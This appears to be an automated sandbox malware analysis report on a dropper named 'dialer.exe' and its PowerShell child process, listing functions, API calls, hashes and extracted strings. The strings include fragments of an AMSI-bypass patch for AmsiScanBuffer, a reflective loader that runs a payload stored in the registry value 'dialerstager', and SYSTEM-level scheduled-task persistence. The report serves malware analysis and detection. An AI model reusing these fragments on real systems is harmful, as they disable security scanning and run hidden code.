Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF687BC1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171946762.00007FF687BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF687BC0000, based on PE: true

Associated: 00000000.00000002.2171881255.00007FF687BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172049332.00007FF687BD8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172085483.00007FF687BDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172125619.00007FF687BDF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172650705.00007FF6880D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172701763.00007FF68810C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172725883.00007FF68810F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff687bc0000_egFMhHSlmf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d18781531925d2824a96e72a8f9dc64733ec09c4f1669cefa822b9d5e06019eb
Instruction ID: ace1dd9a2667cf07f4c2692a4ac592cd2a1418d9b14aa7b4ecec41d28160f5c5
Opcode Fuzzy Hash: d18781531925d2824a96e72a8f9dc64733ec09c4f1669cefa822b9d5e06019eb
Instruction Fuzzy Hash: 3BB012B0D4430DC8E3012F01D88135836A1BF4A742F408034C40C57352CEBDD040CB10

Analysis Process: dialer.exePID: 3084, Parent PID: 1764COMMON

Execution Graph

Execution Coverage:	75.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.5%
Total number of Nodes:	96
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001C9C Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 196
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001CB7
HeapAlloc.KERNEL32 ref: 0000000140001CC8
GetProcessHeap.KERNEL32 ref: 0000000140001CE0
HeapAlloc.KERNEL32 ref: 0000000140001CEE

Part of subcall function 0000000140001000: CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
Part of subcall function 0000000140001000: CryptGenRandom.ADVAPI32 ref: 0000000140001043
Part of subcall function 0000000140001000: CryptReleaseContext.ADVAPI32 ref: 0000000140001052

StrStrIW.KERNELBASE ref: 0000000140001D1A
StrStrIW.SHLWAPI ref: 0000000140001D4A
StrNCatW.SHLWAPI ref: 0000000140001D6D
StrCatW.SHLWAPI ref: 0000000140001D7D
StrCatW.SHLWAPI ref: 0000000140001E65
StrCatW.SHLWAPI ref: 0000000140001E73
StrCatW.SHLWAPI ref: 0000000140001E8D
StrNCatW.SHLWAPI ref: 0000000140001EA1
StrCatW.SHLWAPI ref: 0000000140001EB2
StrCatW.SHLWAPI ref: 0000000140001EC6
StrCatW.SHLWAPI ref: 0000000140001EE9
StrStrIW.SHLWAPI ref: 0000000140001F07
StrCatW.SHLWAPI ref: 0000000140001F27
StrCpyW.SHLWAPI ref: 0000000140001F33
GetProcessHeap.KERNEL32 ref: 0000000140001F39
HeapFree.KERNEL32 ref: 0000000140001F47
GetProcessHeap.KERNEL32 ref: 0000000140001F4D
HeapFree.KERNEL32 ref: 0000000140001F5B

Strings

'+[Char](, xrefs: 0000000140001E5A
gfff, xrefs: 0000000140001DBF
)+', xrefs: 0000000140001E79
'+', xrefs: 0000000140001E82, 0000000140001EA7
0, xrefs: 0000000140001DAB
gfff, xrefs: 0000000140001DEB

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$Crypt$AllocContextFree$AcquireRandomRelease
String ID: '+'$'+[Char]($)+'$0$gfff$gfff
API String ID: 3510167801-2888743547
Opcode ID: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction ID: 860a95141ccdf47dad873dcb7fdad07428551a8c4d737b9ab5c8568f3082a9eb
Opcode Fuzzy Hash: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction Fuzzy Hash: 6A715CB2710B5696EB16DF67FC187D927A6FB89BC8F448025EE0A47B65DE38C509C300

Function 0000000140001614 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 121
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 000000014000162A
SysAllocString.OLEAUT32 ref: 000000014000163A
CoInitializeEx.OLE32 ref: 0000000140001647
CoInitializeSecurity.COMBASE ref: 000000014000167E
CoCreateInstance.COMBASE ref: 00000001400016BE
VariantInit.OLEAUT32 ref: 00000001400016D0
VariantInit.OLEAUT32 ref: 0000000140001760
CoUninitialize.COMBASE ref: 00000001400017BF
SysFreeString.OLEAUT32 ref: 00000001400017C8
SysFreeString.OLEAUT32 ref: 00000001400017D1

Strings

dialersvc64, xrefs: 000000014000161B

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitInitializeVariant$CreateInstanceSecurityUninitialize
String ID: dialersvc64
API String ID: 2407135876-3881820561
Opcode ID: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction ID: d87eb2bd9d729e9729409dc9478b0812213582aedf91d7913a1da9f61deadf9a
Opcode Fuzzy Hash: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction Fuzzy Hash: B6510576704A458AEB11CF7AE8843DD63B1FB88B98F444226EF4E47A29DF38C149C340

Function 0000000140001984 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

Part of subcall function 0000000140001A7C: GetProcessHeap.KERNEL32 ref: 0000000140001A85
Part of subcall function 0000000140001A7C: HeapAlloc.KERNEL32 ref: 0000000140001A96
Part of subcall function 0000000140001A7C: StrCpyW.SHLWAPI ref: 0000000140001AA9
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001ADF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AEF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AFF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B0F
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B1F

Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001802
Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001812
Part of subcall function 00000001400017EC: CoInitializeEx.COMBASE ref: 000000014000181F
Part of subcall function 00000001400017EC: CoInitializeSecurity.COMBASE ref: 0000000140001856
Part of subcall function 00000001400017EC: CoCreateInstance.COMBASE ref: 0000000140001896
Part of subcall function 00000001400017EC: VariantInit.OLEAUT32 ref: 00000001400018A8
Part of subcall function 00000001400017EC: CoUninitialize.COMBASE ref: 0000000140001942
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 000000014000194B
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 0000000140001954

Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011A7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011B7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011C7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011D3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011E3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011F3
Part of subcall function 000000014000117C: CoInitializeEx.OLE32 ref: 0000000140001200
Part of subcall function 000000014000117C: CoInitializeSecurity.COMBASE ref: 0000000140001237
Part of subcall function 000000014000117C: CoCreateInstance.COMBASE ref: 0000000140001279
Part of subcall function 000000014000117C: VariantInit.OLEAUT32 ref: 000000014000128B

Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000162A
Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000163A
Part of subcall function 0000000140001614: CoInitializeEx.OLE32 ref: 0000000140001647
Part of subcall function 0000000140001614: CoInitializeSecurity.COMBASE ref: 000000014000167E
Part of subcall function 0000000140001614: CoCreateInstance.COMBASE ref: 00000001400016BE
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 00000001400016D0
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 0000000140001760

Strings

dialerstager, xrefs: 0000000140001A1B
SOFTWARE, xrefs: 00000001400019E6
EXE, xrefs: 000000014000198E
dialersvc64, xrefs: 0000000140001A48
dialersvc32, xrefs: 0000000140001A39

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: String$Alloc$Initialize$InitResourceVariant$CreateInstanceSecurity$FreeHeap$FindLoadLockOpenProcessSizeofUninitializeValue
String ID: EXE$SOFTWARE$dialerstager$dialersvc32$dialersvc64
API String ID: 2204944113-1859800454
Opcode ID: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction ID: 1bfe2c02107bc6537b2911a47a34f854c4b6e53c22e939ebebcbb702dcfd335c
Opcode Fuzzy Hash: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction Fuzzy Hash: D5213BBA30570152EA26DF63B8143E963A1AB8DBD0F484125FB49477BAEF3CC604C600

Function 0000000140001000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
CryptGenRandom.ADVAPI32 ref: 0000000140001043
CryptReleaseContext.ADVAPI32 ref: 0000000140001052

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 000000014000101C

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 1815803762-291530887
Opcode ID: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction ID: 74dd50a8ca20c1687fe1fd25669d783deb6ceb092ba3a030a89a64c3b25fe62d
Opcode Fuzzy Hash: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction Fuzzy Hash: 28F01976700B4082E711CB67E88438AA7A2BBCCB80F498025DB5947729DEB4C956C740

Function 0000000140001A7C Relevance: 45.6, APIs: 8, Strings: 18, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001A85
HeapAlloc.KERNEL32 ref: 0000000140001A96
StrCpyW.SHLWAPI ref: 0000000140001AA9

Part of subcall function 000000014000114C: GetModuleHandleA.KERNEL32 ref: 0000000140001157
Part of subcall function 000000014000114C: GetProcAddress.KERNEL32 ref: 000000014000116E

StrCatW.SHLWAPI ref: 0000000140001ADF
StrCatW.SHLWAPI ref: 0000000140001AEF
StrCatW.SHLWAPI ref: 0000000140001AFF
StrCatW.SHLWAPI ref: 0000000140001B0F
StrCatW.SHLWAPI ref: 0000000140001B1F

Strings

LoadLibraryDelegate, xrefs: 0000000140001B87
Kernel32Ptr, xrefs: 0000000140001BA5
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 0000000140001AE5
ReturnType, xrefs: 0000000140001B4B
Get-Delegate, xrefs: 0000000140001B2D
OldProtect, xrefs: 0000000140001BF0
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 0000000140001AF5
AmsiPtr, xrefs: 0000000140001BD2
function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 0000000140001AD5
VirtualProtectDelegate, xrefs: 0000000140001B96
VirtualProtectPtr, xrefs: 0000000140001BC3
TypeBuilder, xrefs: 0000000140001B5A
LoadLibraryPtr, xrefs: 0000000140001BB4
NativeMethods, xrefs: 0000000140001B69
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I, xrefs: 0000000140001B05
AmsiScanBufferPtr, xrefs: 0000000140001BE1
ParameterTypes, xrefs: 0000000140001B3C
GetProcAddress, xrefs: 0000000140001B78

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AddressAllocHandleModuleProcProcess
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 3242894177-3709903795
Opcode ID: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction ID: 14a767466f4e457cf388ac16d0af6f49bf344e7045f9ae0e12022511aa144a10
Opcode Fuzzy Hash: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction Fuzzy Hash: 38416BF8284702A1FA1BEF17B8557D52365A78DBC5F846261BE0A473B69EBCC108C394

Function 000000014000117C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 281
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400011A7
SysAllocString.OLEAUT32 ref: 00000001400011B7
SysAllocString.OLEAUT32 ref: 00000001400011C7
SysAllocString.OLEAUT32 ref: 00000001400011D3
SysAllocString.OLEAUT32 ref: 00000001400011E3
SysAllocString.OLEAUT32 ref: 00000001400011F3
CoInitializeEx.OLE32 ref: 0000000140001200
CoInitializeSecurity.COMBASE ref: 0000000140001237
CoCreateInstance.COMBASE ref: 0000000140001279
VariantInit.OLEAUT32 ref: 000000014000128B
VariantInit.OLEAUT32 ref: 000000014000148D
VariantInit.OLEAUT32 ref: 0000000140001497
VariantInit.OLEAUT32 ref: 00000001400014AE
CoUninitialize.COMBASE ref: 00000001400015BA
SysFreeString.OLEAUT32 ref: 00000001400015C3
SysFreeString.OLEAUT32 ref: 00000001400015CC
SysFreeString.OLEAUT32 ref: 00000001400015D5
SysFreeString.OLEAUT32 ref: 00000001400015DE
SysFreeString.OLEAUT32 ref: 00000001400015E7
SysFreeString.OLEAUT32 ref: 00000001400015F0

Strings

powershell, xrefs: 00000001400011BD
SYSTEM, xrefs: 00000001400011E9
dialersvc64, xrefs: 000000014000118D

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFree$InitVariant$Initialize$CreateInstanceSecurityUninitialize
String ID: SYSTEM$dialersvc64$powershell
API String ID: 3960698109-174983134
Opcode ID: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction ID: aee36af91c86c83140a7f8fc7c4422115872d8a4c3e6ef38ff6a7da2a4766896
Opcode Fuzzy Hash: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction Fuzzy Hash: 2DD1DE76604B8586EB11CF6AE8843DE67B1FB88B99F508116EF4E47B68DF39C149C700

Function 00000001400017EC Relevance: 13.6, APIs: 9, Instructions: 100
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0000000140001802
SysAllocString.OLEAUT32 ref: 0000000140001812
CoInitializeEx.COMBASE ref: 000000014000181F
CoInitializeSecurity.COMBASE ref: 0000000140001856
CoCreateInstance.COMBASE ref: 0000000140001896
VariantInit.OLEAUT32 ref: 00000001400018A8
CoUninitialize.COMBASE ref: 0000000140001942
SysFreeString.OLEAUT32 ref: 000000014000194B
SysFreeString.OLEAUT32 ref: 0000000140001954

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction ID: 67cbc857c72eec62a5b69ac69888ab56890e3342390bd1f27bc6256027a28dd6
Opcode Fuzzy Hash: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction Fuzzy Hash: 5E413972704A458AEB11CF7AE8543DD73B1FB89B99F449226AF4A47A69DF38C149C300

Function 0000000140001C0C Relevance: 3.8, APIs: 3, Instructions: 40
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 0000000140001C31
StrStrIW.SHLWAPI ref: 0000000140001C4F
StrStrIW.SHLWAPI ref: 0000000140001C71

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction ID: 09bf7b72404f13f14ced639d6c0c6f67ee10a0461fa6ddbcf4aeef183f1f47ff
Opcode Fuzzy Hash: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction Fuzzy Hash: 9B0116B6344B8185EA66CF13A804BA963AAF78CFC0F598131AE4D83765DF38D946C740

Function 0000000140001970 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001984: FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
Part of subcall function 0000000140001984: SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
Part of subcall function 0000000140001984: LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
Part of subcall function 0000000140001984: LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
Part of subcall function 0000000140001984: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
Part of subcall function 0000000140001984: RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

ExitProcess.KERNEL32 ref: 000000014000197B

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: Resource$ExitFindLoadLockOpenProcessSizeofValue
String ID:
API String ID: 3836967525-0
Opcode ID: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction ID: 591ae2b672e41714171671f8838f177bfce947d6885aae7fa81f753db4d17b5a
Opcode Fuzzy Hash: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction Fuzzy Hash: 71A011B0A00A8082EA0ABBB2282A3E802200B88380F000000A202032A2CC38008A8A00

Non-executed Functions

Function 000000014000114C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001157
GetProcAddress.KERNEL32 ref: 000000014000116E

Strings

ntdll.dll, xrefs: 0000000140001150
RtlGetVersion, xrefs: 0000000140001167

Memory Dump Source

Source File: 0000001A.00000002.2168860811.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001A.00000002.2168838755.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001A.00000002.2168896814.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction ID: 59613ef8418529ec4bc26aae3d36b02baf67a4f8cd1ada14fad478f70e9913c3
Opcode Fuzzy Hash: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction Fuzzy Hash: 8CD0E9F5622A01E1EA0BEB57FC553D512617B5C781F804521E70A43671EF3C8659C700

Analysis Process: powershell.exePID: 3768, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	44.4%
Total number of Nodes:	27
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34740001 Relevance: 3.4, Instructions: 3385COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2261622068.00007FFD34740000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d517ab40b939059bbbf0a29a204777735a57863b412b51e827f736b69f00e19
Instruction ID: dfdb07436d692e8bac719e4c970f57c2ba7daf5ca4ab364bd8ed70c413f667ac
Opcode Fuzzy Hash: 6d517ab40b939059bbbf0a29a204777735a57863b412b51e827f736b69f00e19
Instruction Fuzzy Hash: 2033A571A1CB858FE7759B1888956B977E0EF9A740F4505BED48CC7292CA38BC40CBC6

Function 00007FFD3467B3FB Relevance: 1.8, Strings: 1, Instructions: 535
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

mM_L, xrefs: 00007FFD3467B770

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID:
String ID: mM_L
API String ID: 0-3523453553
Opcode ID: 9a6a835f63570ead54fce95d7cb578753af74ef42b508abae94303ddb585f4dd
Instruction ID: 31c465cf4c07d16e9ee17119de4c26425679cef21ba03b22fe34dccf0407d440
Opcode Fuzzy Hash: 9a6a835f63570ead54fce95d7cb578753af74ef42b508abae94303ddb585f4dd
Instruction Fuzzy Hash: 6A02F531B0CA5A8FEB54DF5CC8A5AED7BE1FF69314F14417AD509D7286CA28E842C780

Function 00007FFD34680C6D Relevance: 1.6, APIs: 1, Instructions: 130
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL ref: 00007FFD34680D37

Memory Dump Source

Source File: 0000001D.00000002.2260307649.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd34670000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 861368fcfc4aec83aa9b47dc101f0fd96d64a8d07ea3894c6622788441cead0e
Instruction ID: 1960a880ea049957a80a0c469d4bffa5f0913bf3569c1de31a12ae2b4a953fb6
Opcode Fuzzy Hash: 861368fcfc4aec83aa9b47dc101f0fd96d64a8d07ea3894c6622788441cead0e
Instruction Fuzzy Hash: 2831E23190CB488FDB59DF58D885AE9BBE0FB5A321F00426ED049D3652CB74A806CB85

Function 00007FFD3467E0EA Relevance: 1.6, APIs: 1, Instructions: 120
nativeCOMMON

